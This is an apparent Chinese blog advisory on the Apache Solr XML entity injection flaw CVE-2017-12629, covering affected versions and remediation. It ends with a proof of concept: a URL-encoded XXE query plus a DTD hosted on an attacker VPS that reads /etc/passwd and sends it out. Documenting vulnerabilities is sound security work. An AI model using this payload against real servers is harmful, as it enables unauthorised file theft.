• Apache solr XML 实体注入漏洞(CVE201712629)


    描述:

      Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

    范围:

      Apache solr<7.1.0 版本

    利用:

      可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/
      以及:https://blog.csdn.net/yangbz123/article/details/117827547

    修复:

      升级更高版本
      添加Solr访问控制,包括禁止本地直接未授权访问
      修改相关java文件

    Poc:

    /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser
    其中xxx.xxx.xxx.xxx为vps的ip地址
    apachesolrxxe.dtd为dtd文件名
    vps中dtd文件内容:
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
  • 相关阅读:
    JDK5并发(5) Semaphore
    JDK5并发(2) Locks-ReentrantLock
    Java Thread.interrupt interrupted
    Java Magic. Part 4: sun.misc.Unsafe
    Java Magic. Part 3: Finally
    Java Magic. Part 2: 0xCAFEBABE
    JDK5并发(1) Locks-AQS
    JDK Timer & TimerTask
    Git reset head revert 回滚
    c#解析Josn(解析多个子集,数据,可解析无限级json)
  • 原文地址:https://www.cnblogs.com/scivous/p/16174156.html
Copyright © 2020-2023  润新知